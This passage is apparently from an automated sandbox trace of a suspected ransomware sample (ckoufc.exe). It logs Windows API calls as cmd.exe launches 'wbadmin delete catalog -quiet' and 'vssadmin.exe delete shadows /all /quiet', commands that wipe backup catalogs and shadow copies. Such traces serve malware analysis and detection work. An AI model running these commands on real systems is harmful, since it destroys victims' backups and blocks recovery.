[0051.693] RtlFreeHeap (HeapHandle=0x18b11b70000, Flags=0x0, BaseAddress=0x18b11b79f80) returned 1 [0051.694] _wcsicmp (_String1="wbadmin", _String2=")") returned 78 [0051.694] _wcsicmp (_String1="FOR", _String2="wbadmin") returned -17 [0051.694] _wcsicmp (_String1="FOR/?", _String2="wbadmin") returned -17 [0051.694] _wcsicmp (_String1="IF", _String2="wbadmin") returned -14 [0051.694] _wcsicmp (_String1="IF/?", _String2="wbadmin") returned -14 [0051.694] _wcsicmp (_String1="REM", _String2="wbadmin") returned -5 [0051.694] _wcsicmp (_String1="REM/?", _String2="wbadmin") returned -5 [0051.694] GetProcessHeap () returned 0x18b11b70000 [0051.694] RtlAllocateHeap (HeapHandle=0x18b11b70000, Flags=0x8, Size=0xb0) returned 0x18b11b712b0 [0051.694] GetProcessHeap () returned 0x18b11b70000 [0051.694] RtlAllocateHeap (HeapHandle=0x18b11b70000, Flags=0x8, Size=0x20) returned 0x18b11b78810 [0051.694] GetProcessHeap () returned 0x18b11b70000 [0051.694] RtlAllocateHeap (HeapHandle=0x18b11b70000, Flags=0x8, Size=0x3e) returned 0x18b11b71370 [0051.695] GetConsoleTitleW (in: lpConsoleTitle=0x2b7c8ff8f0, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\FD1HVy\\Desktop\\ckoufc.exe") returned 0x23 [0051.752] malloc (_Size=0xffce) returned 0x18b11c80060 [0051.752] ??_V@YAXPEAX@Z () returned 0x18b11c80060 [0051.753] malloc (_Size=0xffce) returned 0x18b11c90040 [0051.753] ??_V@YAXPEAX@Z () returned 0x18b11c90040 [0051.753] _wcsicmp (_String1="wbadmin", _String2="DIR") returned 19 [0051.753] _wcsicmp (_String1="wbadmin", _String2="ERASE") returned 18 [0051.753] _wcsicmp (_String1="wbadmin", _String2="DEL") returned 19 [0051.753] _wcsicmp (_String1="wbadmin", _String2="TYPE") returned 3 [0051.753] _wcsicmp (_String1="wbadmin", _String2="COPY") returned 20 [0051.754] _wcsicmp (_String1="wbadmin", _String2="CD") returned 20 [0051.754] _wcsicmp (_String1="wbadmin", _String2="CHDIR") returned 20 [0051.754] _wcsicmp (_String1="wbadmin", _String2="RENAME") returned 5 [0051.754] _wcsicmp (_String1="wbadmin", _String2="REN") returned 5 [0051.754] _wcsicmp (_String1="wbadmin", _String2="ECHO") returned 18 [0051.754] _wcsicmp (_String1="wbadmin", _String2="SET") returned 4 [0051.754] _wcsicmp (_String1="wbadmin", _String2="PAUSE") returned 7 [0051.754] _wcsicmp (_String1="wbadmin", _String2="DATE") returned 19 [0051.754] _wcsicmp (_String1="wbadmin", _String2="TIME") returned 3 [0051.754] _wcsicmp (_String1="wbadmin", _String2="PROMPT") returned 7 [0051.754] _wcsicmp (_String1="wbadmin", _String2="MD") returned 10 [0051.754] _wcsicmp (_String1="wbadmin", _String2="MKDIR") returned 10 [0051.754] _wcsicmp (_String1="wbadmin", _String2="RD") returned 5 [0051.754] _wcsicmp (_String1="wbadmin", _String2="RMDIR") returned 5 [0051.754] _wcsicmp (_String1="wbadmin", _String2="PATH") returned 7 [0051.754] _wcsicmp (_String1="wbadmin", _String2="GOTO") returned 16 [0051.754] _wcsicmp (_String1="wbadmin", _String2="SHIFT") returned 4 [0051.754] _wcsicmp (_String1="wbadmin", _String2="CLS") returned 20 [0051.754] _wcsicmp (_String1="wbadmin", _String2="CALL") returned 20 [0051.754] _wcsicmp (_String1="wbadmin", _String2="VERIFY") returned 1 [0051.754] _wcsicmp (_String1="wbadmin", _String2="VER") returned 1 [0051.754] _wcsicmp (_String1="wbadmin", _String2="VOL") returned 1 [0051.754] _wcsicmp (_String1="wbadmin", _String2="EXIT") returned 18 [0051.754] _wcsicmp (_String1="wbadmin", _String2="SETLOCAL") returned 4 [0051.754] _wcsicmp (_String1="wbadmin", _String2="ENDLOCAL") returned 18 [0051.754] _wcsicmp (_String1="wbadmin", _String2="TITLE") returned 3 [0051.754] _wcsicmp (_String1="wbadmin", _String2="START") returned 4 [0051.754] _wcsicmp (_String1="wbadmin", _String2="DPATH") returned 19 [0051.754] _wcsicmp (_String1="wbadmin", _String2="KEYS") returned 12 [0051.754] _wcsicmp (_String1="wbadmin", _String2="MOVE") returned 10 [0051.754] _wcsicmp (_String1="wbadmin", _String2="PUSHD") returned 7 [0051.754] _wcsicmp (_String1="wbadmin", _String2="POPD") returned 7 [0051.754] _wcsicmp (_String1="wbadmin", _String2="ASSOC") returned 22 [0051.754] _wcsicmp (_String1="wbadmin", _String2="FTYPE") returned 17 [0051.754] _wcsicmp (_String1="wbadmin", _String2="BREAK") returned 21 [0051.754] _wcsicmp (_String1="wbadmin", _String2="COLOR") returned 20 [0051.754] _wcsicmp (_String1="wbadmin", _String2="MKLINK") returned 10 [0051.754] _wcsicmp (_String1="wbadmin", _String2="DIR") returned 19 [0051.754] _wcsicmp (_String1="wbadmin", _String2="ERASE") returned 18 [0051.754] _wcsicmp (_String1="wbadmin", _String2="DEL") returned 19 [0051.754] _wcsicmp (_String1="wbadmin", _String2="TYPE") returned 3 [0051.754] _wcsicmp (_String1="wbadmin", _String2="COPY") returned 20 [0051.754] _wcsicmp (_String1="wbadmin", _String2="CD") returned 20 [0051.754] _wcsicmp (_String1="wbadmin", _String2="CHDIR") returned 20 [0051.754] _wcsicmp (_String1="wbadmin", _String2="RENAME") returned 5 [0051.754] _wcsicmp (_String1="wbadmin", _String2="REN") returned 5 [0051.755] _wcsicmp (_String1="wbadmin", _String2="ECHO") returned 18 [0051.755] _wcsicmp (_String1="wbadmin", _String2="SET") returned 4 [0051.755] _wcsicmp (_String1="wbadmin", _String2="PAUSE") returned 7 [0051.755] _wcsicmp (_String1="wbadmin", _String2="DATE") returned 19 [0051.755] _wcsicmp (_String1="wbadmin", _String2="TIME") returned 3 [0051.755] _wcsicmp (_String1="wbadmin", _String2="PROMPT") returned 7 [0051.755] _wcsicmp (_String1="wbadmin", _String2="MD") returned 10 [0051.755] _wcsicmp (_String1="wbadmin", _String2="MKDIR") returned 10 [0051.755] _wcsicmp (_String1="wbadmin", _String2="RD") returned 5 [0051.755] _wcsicmp (_String1="wbadmin", _String2="RMDIR") returned 5 [0051.755] _wcsicmp (_String1="wbadmin", _String2="PATH") returned 7 [0051.755] _wcsicmp (_String1="wbadmin", _String2="GOTO") returned 16 [0051.755] _wcsicmp (_String1="wbadmin", _String2="SHIFT") returned 4 [0051.755] _wcsicmp (_String1="wbadmin", _String2="CLS") returned 20 [0051.755] _wcsicmp (_String1="wbadmin", _String2="CALL") returned 20 [0051.755] _wcsicmp (_String1="wbadmin", _String2="VERIFY") returned 1 [0051.755] _wcsicmp (_String1="wbadmin", _String2="VER") returned 1 [0051.755] _wcsicmp (_String1="wbadmin", _String2="VOL") returned 1 [0051.755] _wcsicmp (_String1="wbadmin", _String2="EXIT") returned 18 [0051.755] _wcsicmp (_String1="wbadmin", _String2="SETLOCAL") returned 4 [0051.755] _wcsicmp (_String1="wbadmin", _String2="ENDLOCAL") returned 18 [0051.755] _wcsicmp (_String1="wbadmin", _String2="TITLE") returned 3 [0051.755] _wcsicmp (_String1="wbadmin", _String2="START") returned 4 [0051.755] _wcsicmp (_String1="wbadmin", _String2="DPATH") returned 19 [0051.755] _wcsicmp (_String1="wbadmin", _String2="KEYS") returned 12 [0051.755] _wcsicmp (_String1="wbadmin", _String2="MOVE") returned 10 [0051.755] _wcsicmp (_String1="wbadmin", _String2="PUSHD") returned 7 [0051.755] _wcsicmp (_String1="wbadmin", _String2="POPD") returned 7 [0051.755] _wcsicmp (_String1="wbadmin", _String2="ASSOC") returned 22 [0051.755] _wcsicmp (_String1="wbadmin", _String2="FTYPE") returned 17 [0051.755] _wcsicmp (_String1="wbadmin", _String2="BREAK") returned 21 [0051.755] _wcsicmp (_String1="wbadmin", _String2="COLOR") returned 20 [0051.755] _wcsicmp (_String1="wbadmin", _String2="MKLINK") returned 10 [0051.755] _wcsicmp (_String1="wbadmin", _String2="FOR") returned 17 [0051.755] _wcsicmp (_String1="wbadmin", _String2="IF") returned 14 [0051.755] _wcsicmp (_String1="wbadmin", _String2="REM") returned 5 [0051.755] ??_V@YAXPEAX@Z () returned 0x1 [0051.756] GetProcessHeap () returned 0x18b11b70000 [0051.756] RtlAllocateHeap (HeapHandle=0x18b11b70000, Flags=0x8, Size=0xffde) returned 0x18b11b79f80 [0051.756] GetProcessHeap () returned 0x18b11b70000 [0051.756] RtlAllocateHeap (HeapHandle=0x18b11b70000, Flags=0x8, Size=0x4e) returned 0x18b11b713c0 [0051.756] _wcsnicmp (_String1="wbad", _String2="cmd ", _MaxCount=0x4) returned 20 [0051.756] malloc (_Size=0xffce) returned 0x18b11c90040 [0051.756] ??_V@YAXPEAX@Z () returned 0x18b11c90040 [0051.757] GetProcessHeap () returned 0x18b11b70000 [0051.757] RtlAllocateHeap (HeapHandle=0x18b11b70000, Flags=0x8, Size=0x1ffac) returned 0x18b11b89f70 [0051.758] SetErrorMode (uMode=0x0) returned 0x0 [0051.758] SetErrorMode (uMode=0x1) returned 0x0 [0051.758] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x18b11b89f80, lpFilePart=0x2b7c8ff170 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x2b7c8ff170*="Desktop") returned 0x17 [0051.758] SetErrorMode (uMode=0x0) returned 0x1 [0051.758] GetProcessHeap () returned 0x18b11b70000 [0051.758] RtlReAllocateHeap (Heap=0x18b11b70000, Flags=0x0, Ptr=0x18b11b89f70, Size=0x50) returned 0x18b11b89f70 [0051.758] GetProcessHeap () returned 0x18b11b70000 [0051.758] RtlSizeHeap (HeapHandle=0x18b11b70000, Flags=0x0, MemoryPointer=0x18b11b89f70) returned 0x50 [0051.758] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0051.758] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0051.758] GetProcessHeap () returned 0x18b11b70000 [0051.759] RtlAllocateHeap (HeapHandle=0x18b11b70000, Flags=0x8, Size=0x1bc) returned 0x18b11b71420 [0051.759] GetProcessHeap () returned 0x18b11b70000 [0051.759] RtlAllocateHeap (HeapHandle=0x18b11b70000, Flags=0x8, Size=0x368) returned 0x18b11b715f0 [0051.764] GetProcessHeap () returned 0x18b11b70000 [0051.764] RtlReAllocateHeap (Heap=0x18b11b70000, Flags=0x0, Ptr=0x18b11b715f0, Size=0x1be) returned 0x18b11b715f0 [0051.764] GetProcessHeap () returned 0x18b11b70000 [0051.764] RtlSizeHeap (HeapHandle=0x18b11b70000, Flags=0x0, MemoryPointer=0x18b11b715f0) returned 0x1be [0051.764] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0051.764] GetProcessHeap () returned 0x18b11b70000 [0051.764] RtlAllocateHeap (HeapHandle=0x18b11b70000, Flags=0x8, Size=0xe8) returned 0x18b11b717c0 [0051.764] GetProcessHeap () returned 0x18b11b70000 [0051.764] RtlReAllocateHeap (Heap=0x18b11b70000, Flags=0x0, Ptr=0x18b11b717c0, Size=0x7e) returned 0x18b11b717c0 [0051.764] GetProcessHeap () returned 0x18b11b70000 [0051.764] RtlSizeHeap (HeapHandle=0x18b11b70000, Flags=0x0, MemoryPointer=0x18b11b717c0) returned 0x7e [0051.764] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0051.764] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x2b7c8feee0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2b7c8feee0) returned 0xffffffffffffffff [0051.764] GetLastError () returned 0x2 [0051.764] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0051.764] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x2b7c8feee0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2b7c8feee0) returned 0xffffffffffffffff [0051.765] GetLastError () returned 0x2 [0051.765] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0051.765] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x2b7c8feee0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2b7c8feee0) returned 0x18b11b71850 [0051.765] GetProcessHeap () returned 0x18b11b70000 [0051.765] RtlAllocateHeap (HeapHandle=0x18b11b70000, Flags=0x0, Size=0x28) returned 0x18b11b718b0 [0051.765] FindClose (in: hFindFile=0x18b11b71850 | out: hFindFile=0x18b11b71850) returned 1 [0051.765] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\wbadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x2b7c8feee0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2b7c8feee0) returned 0xffffffffffffffff [0051.765] GetLastError () returned 0x2 [0051.765] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\wbadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x2b7c8feee0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2b7c8feee0) returned 0x18b11b71850 [0051.765] GetProcessHeap () returned 0x18b11b70000 [0051.765] RtlReAllocateHeap (Heap=0x18b11b70000, Flags=0x0, Ptr=0x18b11b718b0, Size=0x8) returned 0x18b11b718b0 [0051.765] FindClose (in: hFindFile=0x18b11b71850 | out: hFindFile=0x18b11b71850) returned 1 [0051.765] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0051.765] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0051.765] ??_V@YAXPEAX@Z () returned 0x1 [0051.765] GetConsoleTitleW (in: lpConsoleTitle=0x2b7c8ff460, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\FD1HVy\\Desktop\\ckoufc.exe") returned 0x23 [0051.830] InitializeProcThreadAttributeList (in: lpAttributeList=0x2b7c8ff380, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2b7c8ff270 | out: lpAttributeList=0x2b7c8ff380, lpSize=0x2b7c8ff270) returned 1 [0051.830] UpdateProcThreadAttribute (in: lpAttributeList=0x2b7c8ff380, dwFlags=0x0, Attribute=0x60001, lpValue=0x2b7c8ff25c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2b7c8ff380, lpPreviousValue=0x0) returned 1 [0051.830] GetStartupInfoW (in: lpStartupInfo=0x2b7c8ff310 | out: lpStartupInfo=0x2b7c8ff310*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0051.830] GetProcessHeap () returned 0x18b11b70000 [0051.830] RtlAllocateHeap (HeapHandle=0x18b11b70000, Flags=0x8, Size=0x20) returned 0x18b11b71850 [0051.831] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0051.831] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0051.831] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0051.831] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0051.831] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0051.831] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0051.831] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0051.831] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0051.831] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3 [0051.831] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3 [0051.831] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0051.831] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0051.831] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0051.831] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0051.831] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0051.831] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0051.831] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0051.831] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0051.831] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0051.831] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0051.831] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0051.831] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0051.831] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0051.831] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0051.831] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0051.831] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0051.831] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0051.831] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0051.831] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0051.831] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0051.831] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0051.831] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0051.831] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0051.831] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0051.831] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0051.831] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0051.831] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0051.831] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0051.831] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0051.831] GetProcessHeap () returned 0x18b11b70000 [0051.831] RtlFreeHeap (HeapHandle=0x18b11b70000, Flags=0x0, BaseAddress=0x18b11b71850) returned 1 [0051.831] GetProcessHeap () returned 0x18b11b70000 [0051.831] RtlAllocateHeap (HeapHandle=0x18b11b70000, Flags=0x8, Size=0x12) returned 0x18b11b78840 [0051.832] lstrcmpW (lpString1="\\wbadmin.exe", lpString2="\\XCOPY.EXE") returned -1 [0051.833] _get_osfhandle (_FileHandle=1) returned 0xc [0051.833] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x3) returned 1 [0051.847] _get_osfhandle (_FileHandle=0) returned 0x8 [0051.847] SetConsoleMode (hConsoleHandle=0x8, dwMode=0x1f7) returned 1 [0052.028] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\wbadmin.exe", lpCommandLine="wbadmin delete catalog -quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x2b7c8ff2a0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="wbadmin delete catalog -quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2b7c8ff278 | out: lpCommandLine="wbadmin delete catalog -quiet", lpProcessInformation=0x2b7c8ff278*(hProcess=0x9c, hThread=0x98, dwProcessId=0xdb0, dwThreadId=0xd94)) returned 1 [0052.886] CloseHandle (hObject=0x98) returned 1 [0052.887] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0052.887] GetProcessHeap () returned 0x18b11b70000 [0052.887] RtlFreeHeap (HeapHandle=0x18b11b70000, Flags=0x0, BaseAddress=0x18b11b793f0) returned 1 [0052.887] GetEnvironmentStringsW () returned 0x18b11b793f0* [0052.887] GetProcessHeap () returned 0x18b11b70000 [0052.887] RtlAllocateHeap (HeapHandle=0x18b11b70000, Flags=0x8, Size=0xb7e) returned 0x18b11b75eb0 [0052.887] FreeEnvironmentStringsA (penv="=") returned 1 [0052.887] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0xffffffff) returned 0x0 [0106.980] GetExitCodeProcess (in: hProcess=0x9c, lpExitCode=0x2b7c8ff1f8 | out: lpExitCode=0x2b7c8ff1f8*=0x0) returned 1 [0106.980] CloseHandle (hObject=0x9c) returned 1 [0106.980] _vsnwprintf (in: _Buffer=0x2b7c8ff3c8, _BufferCount=0x13, _Format="%08X", _ArgList=0x2b7c8ff208 | out: _Buffer="00000000") returned 8 [0106.981] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0106.981] GetProcessHeap () returned 0x18b11b70000 [0106.981] RtlFreeHeap (HeapHandle=0x18b11b70000, Flags=0x0, BaseAddress=0x18b11b75eb0) returned 1 [0106.981] GetEnvironmentStringsW () returned 0x18b11b78860* [0106.981] GetProcessHeap () returned 0x18b11b70000 [0106.981] RtlAllocateHeap (HeapHandle=0x18b11b70000, Flags=0x8, Size=0xba4) returned 0x18b11b89fd0 [0106.981] FreeEnvironmentStringsA (penv="=") returned 1 [0106.981] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0106.982] GetProcessHeap () returned 0x18b11b70000 [0106.982] RtlFreeHeap (HeapHandle=0x18b11b70000, Flags=0x0, BaseAddress=0x18b11b89fd0) returned 1 [0106.982] GetEnvironmentStringsW () returned 0x18b11b78860* [0106.982] GetProcessHeap () returned 0x18b11b70000 [0106.982] RtlAllocateHeap (HeapHandle=0x18b11b70000, Flags=0x8, Size=0xba4) returned 0x18b11b89fd0 [0106.982] FreeEnvironmentStringsA (penv="=") returned 1 [0106.982] GetProcessHeap () returned 0x18b11b70000 [0106.982] RtlFreeHeap (HeapHandle=0x18b11b70000, Flags=0x0, BaseAddress=0x18b11b78840) returned 1 [0106.983] DeleteProcThreadAttributeList (in: lpAttributeList=0x2b7c8ff380 | out: lpAttributeList=0x2b7c8ff380) [0106.983] ??_V@YAXPEAX@Z () returned 0x1 [0106.983] _get_osfhandle (_FileHandle=1) returned 0xc [0106.983] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x3) returned 1 [0107.019] _get_osfhandle (_FileHandle=1) returned 0xc [0107.019] GetConsoleMode (in: hConsoleHandle=0xc, lpMode=0x7ff7b827fc08 | out: lpMode=0x7ff7b827fc08) returned 1 [0107.074] _get_osfhandle (_FileHandle=1) returned 0xc [0107.074] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x7) returned 1 [0107.219] _get_osfhandle (_FileHandle=0) returned 0x8 [0107.219] GetConsoleMode (in: hConsoleHandle=0x8, lpMode=0x7ff7b827fc0c | out: lpMode=0x7ff7b827fc0c) returned 1 [0107.264] SetConsoleInputExeNameW () returned 0x1 [0107.264] GetConsoleOutputCP () returned 0x1b5 [0107.455] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7b827fbb0 | out: lpCPInfo=0x7ff7b827fbb0) returned 1 [0107.456] SetThreadUILanguage (LangId=0x0) returned 0x409 [0107.505] exit (_Code=0) Thread: id = 20 os_tid = 0xe3c Process: id = "6" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x7ba5000" os_pid = "0xcdc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x47c" cmd_line = "/C vssadmin.exe delete shadows /all /quiet" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 15 os_tid = 0xd40 [0050.168] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff7b8240000 [0050.168] __set_app_type (_Type=0x1) [0050.168] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff7b8256d00) returned 0x0 [0050.168] __getmainargs (in: _Argc=0x7ff7b8279200, _Argv=0x7ff7b8279208, _Env=0x7ff7b8279210, _DoWildCard=0, _StartInfo=0x7ff7b827921c | out: _Argc=0x7ff7b8279200, _Argv=0x7ff7b8279208, _Env=0x7ff7b8279210) returned 0 [0050.168] _onexit (_Func=0x7ff7b8257fd0) returned 0x7ff7b8257fd0 [0050.168] _onexit (_Func=0x7ff7b8257fe0) returned 0x7ff7b8257fe0 [0050.168] _onexit (_Func=0x7ff7b8257ff0) returned 0x7ff7b8257ff0 [0050.169] _onexit (_Func=0x7ff7b8258000) returned 0x7ff7b8258000 [0050.169] _onexit (_Func=0x7ff7b8258010) returned 0x7ff7b8258010 [0050.169] _onexit (_Func=0x7ff7b8258020) returned 0x7ff7b8258020 [0050.428] GetCurrentThreadId () returned 0xd40 [0050.428] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xd40) returned 0x7c [0050.428] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0050.428] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetThreadUILanguage") returned 0x7ff92fdea990 [0050.428] SetThreadUILanguage (LangId=0x0) returned 0x409 [0050.673] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0050.673] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xe72c4ff7a8 | out: phkResult=0xe72c4ff7a8*=0x0) returned 0x2 [0050.674] VirtualQuery (in: lpAddress=0xe72c4ff794, lpBuffer=0xe72c4ff710, dwLength=0x30 | out: lpBuffer=0xe72c4ff710*(BaseAddress=0xe72c4ff000, AllocationBase=0xe72c400000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0050.674] VirtualQuery (in: lpAddress=0xe72c400000, lpBuffer=0xe72c4ff710, dwLength=0x30 | out: lpBuffer=0xe72c4ff710*(BaseAddress=0xe72c400000, AllocationBase=0xe72c400000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0050.674] VirtualQuery (in: lpAddress=0xe72c401000, lpBuffer=0xe72c4ff710, dwLength=0x30 | out: lpBuffer=0xe72c4ff710*(BaseAddress=0xe72c401000, AllocationBase=0xe72c400000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0050.674] VirtualQuery (in: lpAddress=0xe72c404000, lpBuffer=0xe72c4ff710, dwLength=0x30 | out: lpBuffer=0xe72c4ff710*(BaseAddress=0xe72c404000, AllocationBase=0xe72c400000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0xfc000, State=0x1000, Protect=0x4, 